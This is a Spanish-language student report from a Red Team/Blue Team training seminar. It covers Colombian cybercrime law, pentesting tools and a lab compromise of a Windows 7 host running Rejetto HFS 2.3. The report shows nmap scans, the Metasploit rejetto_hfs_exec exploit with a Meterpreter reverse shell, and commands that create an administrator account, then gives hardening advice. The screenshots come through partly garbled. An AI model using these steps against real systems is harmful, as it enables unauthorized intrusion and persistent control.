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Resumen
Durante el seminario especializado “Equipos Estratégicos en Ciberseguridad: Red Team &
Blue Team”, se ejecutaron diversas actividades centradas en el reconocimiento y la
aplicacion de las metodologias y procedimientos utilizados por los equipos Red Team y Blue
Team. Estas acciones permitieron la individualizacién de grietas de seguridad dentro de las
organizaciones. La institucion educativa suministro una cadena de escenas que fueron
explorados en cada etapa del seminario. Ademas, se cont6 con bancos de trabajo y guias de
configuracién que facilitaron la ejecucion de las tareas asignadas. Este pliego presenta un
resumen de las principales etapas del seminario, destacando las caracteristicas de cada fase y
proporcionando una visién general de las actividades realizadas. Estas actividades
contribuyeron al aprendizaje sobre la representacion, funcionamiento y diferencias entre los
equipos Red Team y Blue Team. En términos de las actividades ejecutadas, la primera fase
estuvo enfocada en reforzar los conocimientos sobre las leyes colombianas relacionadas con
la seguridad informatica y la proteccion de la informacidn. Asimismo, se configuraron
entornos de trabajo en diversas versiones, los cuales fueron utilizados para realizar pruebas de
seguridad. En la segunda fase, se identificaron vulnerabilidades en los acuerdos de
confidencialidad firmados por las empresas, asi como los riesgos asociados al abuso de esta
informacidn. Durante la tercera fase, se llevaron a cabo ataques simulados a los equipos
previamente configurados para identificar brechas de seguridad, empleando diversas
herramientas de escaneo. Finalmente, en la cuarta fase, se implementaron controles sobre las
vulnerabilidades detectadas y se establecieron los pasos a seguir tras un ataque exitoso. Al
finalizar el seminario, se presentaran las conclusiones mas relevantes de cada fase, con el
objetivo de generar recomendaciones practicas que sean comprensibles para los lectores.

Palabras clave: Herramientas, Proteccion de Informacion, Seguridad Informatica.
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Glosario

Amenaza: Potencial peligro o evento que puede causar dafio a la infraestructura Tl,
como un ataque cibernético, fallo de hardware, desastres naturales, entre otros.

Analisis de Riesgos: Proceso que implica identificar, evaluar y priorizar los riesgos
asociados con la infraestructura T, con el fin de implementar medidas que mitiguen las
amenazas y minimicen el impacto en la organizacion.

Ciberseguridad: Disciplina dedicada a la proteccion de los sistemas informaticos,
redes y datos contra amenazas cibernéticas, como los ataques maliciosos, robos de
informacidn, o alteraciones de la infraestructura tecnolégica.

Contencion: Estrategias 0 medidas implementadas para limitar el impacto de una
amenaza o vulnerabilidad una vez que ha sido identificada, impidiendo su propagacion o
exacerbacion.

Controles de Seguridad: Medidas preventivas, detectivas o correctivas implementadas
para proteger la infraestructura TI contra riesgos y vulnerabilidades, tales como firewalls,
autenticacion multifactor, encriptacion, etc.

Evaluacién de Impacto en el Negocio (BIA): Analisis que evalla los efectos
potenciales de una interrupcion en las operaciones de negocio, identificando funciones
criticas que requieren proteccidn prioritaria durante una crisis.

Evaluacion de Vulnerabilidades: Proceso de escanear y analizar sistemas y redes en
busca de debilidades que puedan ser explotadas por atacantes para obtener acceso no
autorizado o causar dafio.

Explotacion de Vulnerabilidades: Acto de aprovechar una debilidad o falla en un

sistema con el fin de obtener acceso no autorizado o realizar una accién maliciosa.



Firewall (Cortafuegos): Dispositivo o software que controla el trafico de red entre
sistemas o redes, permitiendo o bloqueando comunicaciones segun reglas de seguridad
preestablecidas.

Gestion de Riesgos: El enfoque sistematico para identificar, evaluar, mitigar y
monitorear los riesgos asociados a los sistemas y activos tecnoldgicos de una organizacion.

Impacto: Consecuencia de un evento de seguridad o incidente, que puede incluir
pérdidas econdmicas, dafios a la reputacion, interrupciones operativas, entre otros efectos
adversos.

Infraestructura T1: El conjunto de componentes tecnoldgicos, como hardware,
software, redes, sistemas operativos y otros recursos, que permiten el funcionamiento de las
operaciones informaticas dentro de una organizacion.

Mitigacion: Conjunto de acciones que se toman para reducir o eliminar el riesgo o el
impacto de una amenaza en la infraestructura TI.

Plan de Contingencia: Conjunto de procedimientos que una organizacion sigue para
responder a eventos imprevistos que puedan afectar su infraestructura TI, buscando
minimizar el impacto y asegurar la continuidad operativa.

Plan de Respuesta ante Desastres (DRP): Estrategia disefiada para recuperar la
infraestructura T1y los servicios criticos después de un desastre, minimizando el tiempo de
inactividad y protegiendo los datos esenciales.

Pruebas de Penetracion (Pentesting): Simulacion de ataques informaticos para
identificar vulnerabilidades en una infraestructura Tl, ayudando a evaluar su seguridad antes
de que un atacante realice un ataque real.

Respuesta ante Incidentes: Proceso de identificacion, manejo y resolucion de
incidentes de seguridad informatica, con el objetivo de minimizar el impacto y restaurar la

operatividad normal lo mas rapido posible.
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Riesgo: La probabilidad de que una amenaza explote una vulnerabilidad y cause un
dafo a los activos de una organizacion, generalmente medido en términos de impacto y
probabilidad.

Simulacién de Ataques: Ejercicio realizado con el fin de poner a prueba las defensas
de un sistema informatico a través de la simulacion de diferentes tipos de ciberataques.

Vulnerabilidad: Cualquier debilidad en un sistema, red o infraestructura que pueda ser
explotada por una amenaza para comprometer la seguridad o la integridad de la

infraestructura TI.
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Introduccion

En el entorno actual de la tecnologia, las infraestructuras de T1 (Tecnologias de la
Informacion) se han convertido en el nicleo fundamental de las operaciones empresariales.
Sin embargo, a medida que las amenazas cibernéticas evolucionan y se diversifican, las
organizaciones enfrentan una creciente presion para proteger sus activos digitales y garantizar
la continuidad de sus servicios. En este contexto, la formulacidn de estrategias de contencion
se vuelve esencial para mitigar riesgos y vulnerabilidades que puedan poner en peligro la

seguridad de la infraestructura tecnolégica.

Este trabajo tiene como objetivo desarrollar estrategias efectivas de contencion,
basadas en un analisis exhaustivo de los riesgos y las vulnerabilidades presentes en una
infraestructura de TI. A través de un enfoque sistematico, se identificaran los principales
riesgos que podrian comprometer la seguridad, se evaluaran las vulnerabilidades especificas
de los sistemas y se propondran soluciones adecuadas para cada situacion. El andlisis se
centrara en las metodologias y herramientas utilizadas para identificar, evaluar y gestionar
estos riesgos, con el fin de fortalecer las defensas y minimizar las posibilidades de un ataque

exitoso.

La correcta formulacién de estrategias de contencion no solo permite a las
organizaciones proteger sus activos mas valiosos, sino que también promueve una cultura
organizacional resiliente frente a incidentes de seguridad. Este trabajo busca proporcionar un
marco de accion claro y detallado que permita a los responsables de la infraestructura

tecnoldgica tomar decisiones informadas para mejorar la seguridad cibernética en su entorno.
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Objetivos
Objetivo general

Elaborar un informe técnico que resuma los aspectos mas relevantes del desarrollo de
las actividades, con el fin de presentar recomendaciones y conclusiones.
Objetivo especifico

Desarrollar estrategias de contencion a través del analisis de riesgos y
vulnerabilidades.

Analizar casos préacticos donde la implementacion de equipos de seguridad ha sido
clave para prevenir o mitigar ataques cibernéticos, resaltando su impacto en la seguridad de la
informacion.

Proponer recomendaciones sobre buenas practicas en el uso y mantenimiento de

equipos de seguridad, asegurando su efectividad en entornos corporativos o personales.
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4 Desarrollo del Informe
4.1 Etapa 1 — Conceptos Equipos de Seguridad

4.1.1 Marco Juridico de los Delitos Informaticos: Decretos Vigentes

En Colombia, los delitos informaticos y la proteccion de datos personales estan
regulados por diversas leyes que establecen el marco legal para prevenir, sancionar y regular
el uso adecuado de la informacion digital y los datos personales. A continuacion, se destacan
las principales leyes y decretos en estos ambitos:

Ley 1273 de 2009 - Delitos Informaticos

Esta ley modifica el Codigo Penal para incluir y sancionar los delitos informaticos. Su
objetivo es proteger los bienes juridicos afectados por las conductas que afectan los sistemas

de informacion y datos. Las principales caracteristicas de esta ley son:

Tabla 1

Delitos contra la confidencialidad, integridad y disponibilidad de los datos y sistemas

informaticos

Articulo Delito

269A Acceso abusivo a un sistema informatico.

269B Obstaculizacion o interceptacion de
comunicaciones electrénicas.

269E Uso indebido de software malicioso
(malware).

2691 Violacion de medidas de seguridad.

269J Delitos informaticos financieros: Phishing,

clonacion de tarjetas y otras modalidades de
fraude electronico.

Nota: Es de anotar que las penas previstas para la vulneracion de esta Ley oscilan entre 36

meses a 120 meses con privacion de la libertad en establecimiento carcelario.
Ley 1581 de 2012 - Proteccion de Datos Personales
Conocida como la "Ley de Proteccion de Datos Personales”, esta norma regula el

tratamiento de datos personales por parte de personas naturales y juridicas, tanto publicas
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como privadas. Busca garantizar el derecho constitucional a la proteccion de los datos

personales.

Sanciones: La Superintendencia de Industria y Comercio (SIC) es la autoridad

encargada de vigilar el cumplimiento de esta ley, con la potestad de imponer multas o

sanciones por incumplimiento. (Congreso de Colombia 2012)

En Colombia, la legislacion sobre delitos informaticos y proteccién de datos

personales incluye un marco integral que busca tanto sancionar delitos relacionados con la

tecnologia y la informacion, como proteger la privacidad de los ciudadanos. Las leyes méas

importantes, como la Ley 1273 de 2009 (Delitos Informaticos) y la Ley 1581 de 2012

(Proteccion de Datos Personales), ofrecen mecanismos legales para proteger la

confidencialidad, integridad y uso adecuado de la informacion digital, con la

Superintendencia de Industria y Comercio como autoridad principal para garantizar su

cumplimiento

4.1.2 Metodologia Del Pentesting: Etapas Fundamentales

El pentesting, o pruebas de penetracion, es un proceso estructurado que busca

identificar y explotar vulnerabilidades en sistemas o redes de una organizacion, con el fin de

evaluar su seguridad. Se sigue un conjunto de etapas claramente definidas para garantizar un

enfoque sistematico. (Skoudis 2016). A continuacion, se describen las etapas del pentesting y

se menciona una herramienta para cada fase:

Tabla 2

Etapas del Pentesting

Etapas

Herramienta

Reconocimiento: recopilar informacion
sobre el objetivo sin interactuar
directamente con el sistema o red

Escaneo interactla mas directamente con el
sistema para identificar puertos abiertos,

Maltego permite realizar un reconocimiento
pasivo al mapear relaciones entre personas,
dominios, direcciones IP, entre otros, lo que
facilita la identificacién de activos y
posibles puntos de entrada

Nmap es una herramienta popular para
realizar escaneos de red y servicios
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servicios en ejecucion y versiones del
software utilizado

Enumeracion el atacante trata de
profundizar en los detalles de los sistemas
descubiertos informacion especifica
Explotacion aprovechar las vulnerabilidades
descubiertas en las fases anteriores

Mantenimiento del Acceso obtener mas
privilegios o extraer informacion de manera
continua

Escalada de Privilegios obtener mayores
permisos dentro del sistema comprometido

Cobertura de Rastros eliminar o modificar
registros y rastros de sus acciones para
evitar ser detectado

Generacion de Reportes creacion de un
informe que documente todas las
actividades realizadas durante la prueba de
penetracion

Netcat es una herramienta util para
interactuar con puertos abiertos y enumerar
servicios manualmente

Metasploit es una plataforma de pruebas de
penetracion que permite ejecutar exploits en
sistemas vulnerables

Empire es una herramienta que proporciona
un framework para ejecutar agentes en el
sistema comprometido

Linux Exploit Suggester analiza un sistema
Linux para determinar posibles
vulnerabilidades locales

ClearLogs es una herramienta utilizada para
eliminar entradas de registro en sistemas
Windows, lo que ayuda a ocultar la
presencia del atacante

Dradis es una herramienta colaborativa que
permite organizar y documentar la
informacidn obtenida durante un Pentesting

Nota: Elegir las Herramientas Adecuadas para Cada Etapa del Pentesting

4.1.3 Herramientas de Ciberseguridad

Metasploit: Esta herramienta permite identificar vulnerabilidades de seguridad y

generar informacion clave para evaluar posibles puntos de acceso. Se trata de un proyecto de

cddigo abierto disefiado para desarrollar y ejecutar exploits dirigidos contra maquinas

remotas.(Frias 2021)

Nmap: Este programa, de cddigo abierto, esté disefiado para realizar el rastreo de

puertos, lo que permite evaluar la seguridad de los sistemas informéticos. Ademas, puede
identificar servidores y servicios activos en redes, facilitando el analisis y la deteccion de
posibles vulnerabilidades. (P. Engebretson, The Basics of Hacking and Penetration Testing:
Ethical Hacking and Penetration Testing Made Easy 2013)

OpenVAS: A diferencia de las dos herramientas mencionadas anteriormente, esta

actia como una suite de software que integra multiples servicios y herramientas
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especializadas en la deteccion de brechas de seguridad en sistemas informaticos. Ademas, se
trata de un producto de software libre, lo que facilita su acceso y personalizacion (NVT,
Network Vulnerability Tests).

ExploitDB: Es un recurso disefiado para identificar diversas vulnerabilidades en
redes, permitiendo mantenerse actualizado sobre los posibles ataques que podrian ocurrir en
otros entornos. ExploitDB facilita el acceso a un conocimiento mas profundo sobre los
métodos utilizados por los ciberdelincuentes, lo que contribuye a fortalecer la seguridad de
nuestros sistemas. (Exploit Database 2023)

CVE (Common Vulnerabilities and Exposures): Referencia ampliamente
utilizado en ciberseguridad que proporciona identificadores Gnicos para vulnerabilidades
conocidas en software y hardware. Su meta es proporcionar el cambio de informacién sobre
vulnerabilidades y exposiciones, permitiendo a los investigadores, desarrolladores y
profesionales de la seguridad acceder a datos consistentes y estandarizados. (CVE - Common

Vulnerabilities and Exposures 2023)

4.2 Etapa 2 — Actuacion Eticay Legal
4.2.1 Procesos llegales o no Eticos de los anexos
Los documentos proporcionados subrayan la importancia de una lectura detallada y
comprensiva de los contratos, clausulas o acuerdos que se firman con organizaciones,
empresas e incluso individuos en el &mbito cotidiano. Una vez revisadas a fondo las clausulas
de los anexos, se evidencian diversas irregularidades que apuntan a practicas ilegales y no

éticas dentro de las operaciones de CyberFort Technologies.

En primer lugar, en el escenario 2, se sefiala una omision en las medidas de seguridad

en el proceso de contratacion de personal. El contrato que se va a firmar fue redactado por un
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abogado que ya no trabaja en la empresa, quien fue despedido tras ser sefialado por

involucrarse en procesos ilicitos. Ademas, no hubo un segundo filtro de revision que

permitiera validar el contrato ni aplicar los cambios necesarios en funcion de la evaluacion de

la empresa, sus procesos Yy la informacion pertinente.

Por otro lado, las clausulas del acuerdo contienen informacion completamente fuera

de los parametros éticos y legales, destacandose algunos fragmentos ilegales y moralmente

cuestionables, como los siguientes:

Se proporciona informacion obtenida de actividades internas para los procesos
de seleccidn, entregando datos sensibles a personal ajeno a la empresa.

La clausula establece que la informacion confidencial sobre procesos ilegales
dentro de CyberFort Technologies no podré ser divulgada.

Se considera como "datos privados” los relacionados con "chuzadas”,
interceptacion de informacion y accesos indebidos a sistemas informaticos.
Se prohibe denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro acto relacionado con la apropiacién de informacion
de terceros.

Los empleados deben abstenerse de denunciar o divulgar cualquier
informacidn confidencial o ilegal que conozcan, reciban o intercambien
durante las reuniones, bajo la premisa de que podrian estar compartiendo
informacion privada.

En caso de que la informacion se encuentre en poder de un trabajador durante
un allanamiento, él sera el responsable ante las autoridades competentes,
incluso si dicha informacion fue suministrada por la empresa en el marco de

su labor.



18

e La parte receptora se compromete a no divulgar, comunicar ni revelar total o
parcialmente la informacién confidencial o ilegal sin el previo consentimiento
por escrito de CyberFort Technologies. Aunque la cldusula en general es
adecuada, se refiere a la prohibicion de divulgar o denunciar informacion
obtenida de manera ilegal o que sea ilegal en si misma.

e Si lainformacion ilegal o confidencial es encontrada en manos del receptor,
este debera consultar a un abogado privado y eximir de cualquier

responsabilidad legal o penal a CyberFort Technologies.

4.2.2 Incumplimientos al Acuerdo 1273 de 2009

Proteccion de la Informacién y los Datos Personales

En 2009, Colombia promulg6 la Ley 1273 con el objetivo de proteger la informacion
y los datos personales, estableciendo un marco legal para los delitos informaticos. Esta ley se

divide en dos grandes bloques:

e Atentados contra la confidencialidad, integridad y disponibilidad de los datos
y sistemas informaticos.
e Atentados informaticos y otras infracciones.
Cada una de estas secciones establece penas legales que varian entre 36 y 120 meses
de prision, ademas de multas que van de 100 a 1.000 salarios minimos mensuales legales

vigentes.

A continuacion, se presentan algunos de los posibles delitos que podrian involucrar a

la empresa CyberFort Technologies:



19

e Incumplimiento del articulo 269A: Debido a las clausulas que prohiben
divulgar informacién obtenida a través de accesos abusivos a sistemas
informaticos.

e Incumplimiento del articulo 269C: Relacionado con actividades de
interceptacion de informacion y accesos no autorizados a sistemas
informaticos.

e Incumplimiento del articulo 269J: En relacion con la obligacion de los
empleados de no divulgar o publicar informacion proveniente del intercambio
de datos privados.

e Incumplimiento del articulo 269F: Por el acceso no autorizado a datos
privados mediante interceptaciones o cualquier otro método ilegal utilizado
por CyberFort Technologies para obtener informacion.

e Incumplimiento del articulo 269H: Por el uso de un tercero de buena fe como

instrumento para llevar a cabo actividades ilicitas.

4.3 Herramientas y Software para el desarrollo de la actividad
4.3.1 Herramientas utilizadas y comandos
Considerando la actividad a realizar como parte del equipo de Red Team, se

emplearon las siguientes herramientas para ejecutar las pruebas:

Kali Linux: Esta herramienta facilito la identificacion de la direccién IP de la red

conectada. Para ello, se utiliz6 el comando ip add, como se muestra en la figura 1,

Figura 1

Comando para identificar la IP
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Fuente propia

Nmap: Es una herramienta que permite realizar un rastreo de puertos, asi como
detectar equipos, servicios y sistemas operativos. En este caso, Nmap esta preinstalado en
Kali Linux y se utilizara, como se menciono anteriormente, para realizar un escaneo de los
puertos de red mediante el siguiente comando: sudo su, con el fin de establecer todos los
privilegios; luego se digita el comando which nmap, posteriormente el comando ifconfig
para observar la IP: luego usando las ventajas de nmap usamos el comando namp -sP

192.168.5.*.; como se observa en la Figura 2,

Figura 2

Comando para observar IP

root@kali-sandra: ~

File Actions Edit View Help

nmap
Jusr/bin/nmap

collisions

frame @

carrier @ collisions @

.3.8
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.

root @kali-sandra: ~

MNm:

Host

Nmap scan 1
Host is up
Nmap scan 1
Host is up
Nmap scan 1

Nmap scan 1
Host is up
Nmap scan 1
Host is up
Nmap scan 1
Host is up
Nmap scan 1
Host is up
Nmap scan 1
Host is up
Nmap scan 1
Host is up
Nmz scan 1
Host is up
Nmap scan 1
Host is up
Nmap scan 1
Host is up

Fuente propia

Se sabe que la empresa emplea Rejetto en su versién 2.3b, la cual presenta una
vulnerabilidad importante. Esta aplicacion funciona de manera predeterminada en el puerto
80. En esta etapa, se utilizara Nmap para verificar si el puerto esta abierto o si esté filtrado

por algun firewall, Figura 3,

Figura 3

Escaneo de puertos en la maquina vulnerable

File Actions Edit View Help

SERVICE VER
en http HttpFileServe

_http-server-header: HFS 2.3

_http-title: HFS

Service Info: 0S: Windows; CPE: ¢ 0:mic F indows

Service detection performed. ] » report any incorrect
map.org/submit/
IP add 5 ( up) scann

Fuente propia
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Al ejecutar Nmap con el parametro nmap -p 80 -Pn -A 192.168.5.105-106 para filtrar
por la aplicacion vulnerable conocida, se observa que el puerto 80 esta abierto y que la
aplicacion HFS 2.3 esta en funcionamiento en el momento del escaneo. Esta informacion es
crucial para poder explotar la vulnerabilidad.

Metasploit Framework: Esta herramienta es fundamental para obtener informacion
sobre las vulnerabilidades de seguridad, convirtiéndola en un aliado clave durante las pruebas
de penetracion (Pentesting). Permite desarrollar y ejecutar exploits contra una maquina
remota. Una vez abierta la herramienta, se utiliza el comando use
exploit/Windows/http/rejetto_hfs_exec para seleccionar el exploit correspondiente, ver

Figura 4,

Figura 4

Carga del exploit

# MName i ure Date Rank Check Description

Malicious Git and Merc

Rejetto HttpFil

Interact with a module by name or index. For example

msf6 > t/windows/ht

nfigured, d g t eterpreter/reverse_tcp
msf6 exploit( ) o3

Fuente propia

Una vez configurados todos los parametros del exploit, procedemos a ejecutarlo
mediante el comando exploit, que establece una conexidn con el equipo objetivo y abre una
sesion de Meterpreter. Esto nos permite interactuar con la maquina objetivo a través de una

linea de comandos, Figura 5

Figura 5

Iniciando la ejecucion del Exploit
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Fuente propia
4.3.2 Que permiti6 identificar el Fallo de Seguridad

Con base en la informacion obtenida en el Anexo 4, se pudo determinar que es posible
obtener una Shell reversa y una sesion Meterpreter. Ademas, se logro identificar informacion
relevante, como el nombre de la aplicacion 'Rejjeto' y el tipo de sistema operativo de la

maquina.

Es importante destacar que, debido al desconocimiento inicial del concepto de
Meterpreter, se llevé a cabo una investigacion para comprender mejor las caracteristicas de
esta herramienta. Se identific que Meterpreter permite el control remoto de computadoras

infectadas. Este programa malicioso, de tipo troyano, se ejecuta completamente en memoria.

4.3.3 Herramientas utilizadas para Identificar las Fallas de Seguridad
De acuerdo con los pardmetros establecidos para la actividad y la informacion
proporcionada en los anexos, se utilizaron los siguientes sistemas, herramientas y métodos

alternativos para identificar las fallas de seguridad en la maquina con Windows 7:

e Kali Linux
e Nmap

e Metasploit Framework
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e Google, para la consulta de informacion adicional

Utilizando las herramientas mencionadas, especialmente Nmap y sus comandos, se

determiné que el puerto 80 estaba abierto y accesible, lo que permiti¢ iniciar el ataque.

4.3.4 Como afecta el Ataque a la Maquina

Este tipo de ataque permite al ciberdelincuente crear un usuario administrador en el

sistema, otorgandole acceso a informacion privilegiada. Esto ocurre porque el sistema

operativo de la victima establece una conexién con el equipo atacante, lo que facilita la

activacion de una Shell para ejecutar comandos de forma remota, figura 6,

Figura 6

Diagrama del ataque

Visor de Puerto
Equipo atacante

PN
m 5y -
ITIT eV ad

I
Servidor Atacante

El equipo de Red Team - -
manda la orden al equipo '---' @ Iﬂ—
victima de que inicie la sesion IENENE

Firewall Equipo Victima

Fuente propia

4.3.5 Evidencias de Explotacion de las Vulnerabilidades

El equipo de la victima se
conecta al atacante

No hay funcién del Firewall
porgue la victima solicité la
comunicacion

Ahora contamos con acceso completo. Para verificarlo, crearemos un usuario con

privilegios de administrador en Windows 7, lo que evidenciaré el control total sobre la

maquina. Para ello, utilizaremos el comando run getgui.
Figura 7

Usuario con privilegios de administrador
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meterpreter > run getgui -u SandraCarrillo -p 123456

] Meterpreter scripts are deprecated. Try post/windows/
manage/enable_rdp.
] Example: run post/windows/manage/enable_rdp OPTION=va
lue [ ...]
Windows Remote Desktop Configuration Meterpreter Scri
pt by Darkoperator
Carlos Perez carlos_perezadarkoperator.com
Setting user account for logon
Adding User: SandraCarrillo with Password: 123456
Account could not be created
Error:
Se ha completado el comando correctamente.
For cleanup use command: run multi_console_command -r
/home/kali/.msf4/logs/scripts/getgui/clean_up__2

Fuente propia

A continuacion, otorgaremos permisos de administrador al usuario. Para esto,
utilizaremos el comando use incognito, que permite crear usuarios en Windows y asignarlos a
grupos especificos. (Nmap s.f.)

Procedemos a cargar la aplicacién Incognito.

Figura 8

Carga de la aplicacion Incognito para asociar grupos de usuarios

'preter > use incognito

Loading extension incognito ... Success.

Fuente propia
Usando el comando list_tokens -g, es posible visualizar la lista de tokens del sistema,
los cuales funcionan como grupos. Dentro de estos tokens, se puede identificar el de

administrador.

Figura 9

Comprobacion de los roles disponibles
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s will be awvailable

Fuente propia

Usaremos el comando add_localgroup_user para agregar al usuario SandraCarrillo al

conjunto de administradores.

Figura 10

Agregando el usuario al grupo de administradores

add_localgroup_user "Administradores” " SandraCarrillo *

Not currently running as SYSTEM, not all tokens will be available

Call rev2self if primary process token is SYSTEM

[*] Attempting to add user JohnSalcedo to localgroup Administradores on host 127.0.0.1
[+] Successfully added user to local group

meterpreter >

[-] warning:

Fuente propia

Al acceder ahora a la maguina con Windows, podemos ver que el usuario tiene

privilegios de administrador del sistema.
Figura 11 Evidencia del usuario creado con privilegios de administrador
SandraCarrillo

Administrador
Protegida por contrasefia

usuario
Administrador

Invitado
La cuenta de invitado estd desactivada

Fuente propia
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4.4 ;Queé seria lo primero que indagaria y haria si llegara a encontrarse un ataque en
tiempo real?

No obstante, la deteccidn de ataques en tiempo real es extremadamente dificil, ya que
la mayoria se identifican solo después de haber comprometido parte o toda la informacion, la
primera accion a tomar, si se detecta un ataque, es cortar la conexién a la red. Esto es
esencial, ya que estos ataques generalmente se ejecutan a través de esta via. Una vez mitigado
el riesgo al desconectar la red, es fundamental identificar el tipo de ataque y su objetivo, ya
que esta informacion sera crucial para mitigar los riesgos y cerrar posibles brechas de
seguridad. Las acciones a seguir dependeran del objetivo, el método y el medio utilizados en

el ataque.

En el caso desarrollado en la fase anterior, se propone que, en primer lugar, se
identifique la brecha de seguridad. Para ello, se deben analizar los puertos para verificar si
alguno permanece abierto en el servidor. Existen diversas metodologias y herramientas para
realizar esta tarea, pero personalmente recomendaria usar NMAP, ya que permite rastrear los
puertos por donde el ataque pudo haber accedido al sistema. Si se detectan puertos abiertos,
lo primero es cerrar esos puertos y actualizar los sistemas afectados. Ademas, es crucial
identificar cualquier usuario no autorizado que haya sido creado, especialmente aquellos

administrados por los atacantes. Estos usuarios deben ser eliminados inmediatamente.

4.4.1 Medidas de Hardenizacion propuestas para evitar futuros ataques
Indispensable formarse de las faltas cometidas, lo cual implica cerrar las brechas de
seguridad identificadas durante el ataque. Después de esto, se deben implementar las

siguientes acciones:
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e Actualizar o adquirir antivirus que permitan escanear los sistemas en tiempo
real y generar alertas sobre posibles amenazas.

e Establecer politicas de instalacion de software en los equipos de la empresa o
en aquellos que se conectan a la red corporativa. Ademas, se debe proceder a
desinstalar programas no utilizados o potencialmente peligrosos.

e Actualizar los equipos y sistemas operativos de la empresa para asegurar que
se utilicen las versiones mas recientes y seguras.

e Permitir el acceso remoto Unicamente a traves de VPN, y bajo autorizacion
previa del departamento de TI.

e Instalar firewalls de Windows si no estan presentes en los equipos.

e Restringir el uso de cuentas con privilegios de administrador a personal
exclusivo del &rea de informatica.

e Realizar pruebas de vulnerabilidad de manera periddica para identificar

posibles riesgos y fortalecer la seguridad.

4.4.2 Diferencia entre Blue Team y un equipo de Respuesta a Incidentes Informaticos
En ocasiones puede resultar dificil distinguir las funciones de un equipo de Red Team
y un Equipo de Respuesta a Incidentes Informaticos, a continuacion, se destacan algunas de

las principales caracteristicas de cada uno.

Los Equipos de Respuesta a Incidentes Informaticos (también conocidos como
CSIRT, por sus siglas en inglés) son responsables de recibir, analizar y responder ante
incidentes de seguridad. Estos pueden ser reportados a través de diversas plataformas de

colaboracion, como otros CSIRT, empresas o usuarios. La labor de los CSIRT es
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principalmente reactiva, ya que acttan unicamente después de que un incidente se ha

producido, lo que los hace mas enfocados en la resolucién que en la prevencion.

En cambio, el Blue Team adopta un enfoque maés preventivo. Su funcién principal es
desarrollar y aplicar medidas de seguridad, asi como crear herramientas para prevenir ataques
y mitigar los riesgos de vulnerabilidades, reduciendo al minimo las posibilidades de que se

abran brechas de seguridad.
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5 Aspectos que aporten al desarrollo de estrategias de Red Team y Blue Team
Dado que se trata de equipos de trabajo, en los cuales intervienen varios individuos en
el desarrollo de funciones, es fundamental establecer reglas claras, especialmente en el caso
del equipo azul, encargado de la defensa de los sistemas. El equipo rojo, por otro lado, no
deberia tener reglas ni pardmetros en sus ataques, ya que su objetivo es emular las tacticas de

los delincuentes, quienes usualmente no siguen principios eticos en sus operaciones.

La documentacion de los procesos es una etapa crucial que no debe pasarse por alto.
Es esencial conservar un registro detallado de los procedimientos utilizados en cada tarea. Se
recomienda que esta informacidn describa paso a paso el proceso, para que pueda ser
estudiada por personal nuevo o actualizada con el tiempo. Esto es especialmente relevante en

pruebas realizadas en la red de la organizacion, donde no siempre existen entornos de prueba.

El mayor aporte que pueden ofrecer los equipos de Red Team y Blue Team a la
organizacion es el conocimiento. Por lo tanto, ambos deben mantenerse en un proceso
constante de aprendizaje, buscando nuevas maneras de proteger los sistemas y de identificar
posibles vulnerabilidades. No basta con los conocimientos adquiridos en el pasado, ya que la

tecnologia y las técticas de los ciberdelincuentes avanzan a un ritmo acelerado.
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Conclusiones

Toda organizacion que desee proteger sus sistemas de informacion y operaciones
debe contar con un experto en seguridad informatica, ya que el conocimiento técnico y legal
es fundamental en las estrategias de prevencion que deben implementarse.

En el marco de las diversas medidas de seguridad, existen herramientas que facilitan
la realizacion de pruebas preventivas y de penetracion, las cuales deben aplicarse de manera
periddica. Estas pruebas son esenciales para identificar vulnerabilidades y aplicar controles

correctivos de forma oportuna.

Es crucial destacar que el incumplimiento de cualquier articulo de la Ley 1273
conlleva sanciones legales y reputacionales, lo que puede afectar gravemente los principios

profesionales del responsable.

Los equipos de Red Team y Blue Team son fundamentales para fortalecer la
seguridad en las organizaciones. Estos equipos, compuestos por profesionales especializados
en defensa y ataque de sistemas operativos, redes y recursos empresariales, simulan ataques
reales para evaluar la capacidad de respuesta de la empresa ante amenazas digitales,

permitiendo asi medir el nivel de proteccion y contencion existente.
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Recomendaciones para el planteamiento de estrategias que permitan endurecer los

aspectos de seguridad en una organizacion

Segun lo mencionado previamente, lo fundamental de las estrategias de mejora es
aprender tanto de los errores propios como de los ajenos. Para ello, es esencial mantenerse
actualizado sobre las operaciones realizadas en distintas organizaciones, analizando como se

ejecutaron, como se controlaron y como se mitigaron los posibles riesgos.

En este sentido, las empresas deben comprender la importancia de actualizar sus
equipos, adquirir antivirus, establecer politicas de seguridad, gestionar los accesos y controlar
a los usuarios, entre otras acciones. Cuando se implementan de manera conjunta, estas

medidas refuerzan significativamente la seguridad organizacional.

Ademas, no se puede subestimar el factor humano, ya que sigue siendo una de las
principales brechas de seguridad, especialmente en lo que respecta al acceso no autorizado a
sistemas e informacién. La capacitacion continua y la sensibilizacion sobre las normas de

seguridad y sus posibles consecuencias deben ser consideradas una obligacion.

Finalmente, es crucial que las empresas sean sometidas a un monitoreo constante,
asegurando el cumplimiento de las politicas de seguridad informatica y de la informacion.
También deben realizarse auditorias periddicas en las diferentes areas y aplicar controles

efectivos frente a las inconformidades detectadas.
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Sustentaciéon — Link video

SUSTENTACION_INFORME
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https://youtu.be/y4eqEpl7V4Y
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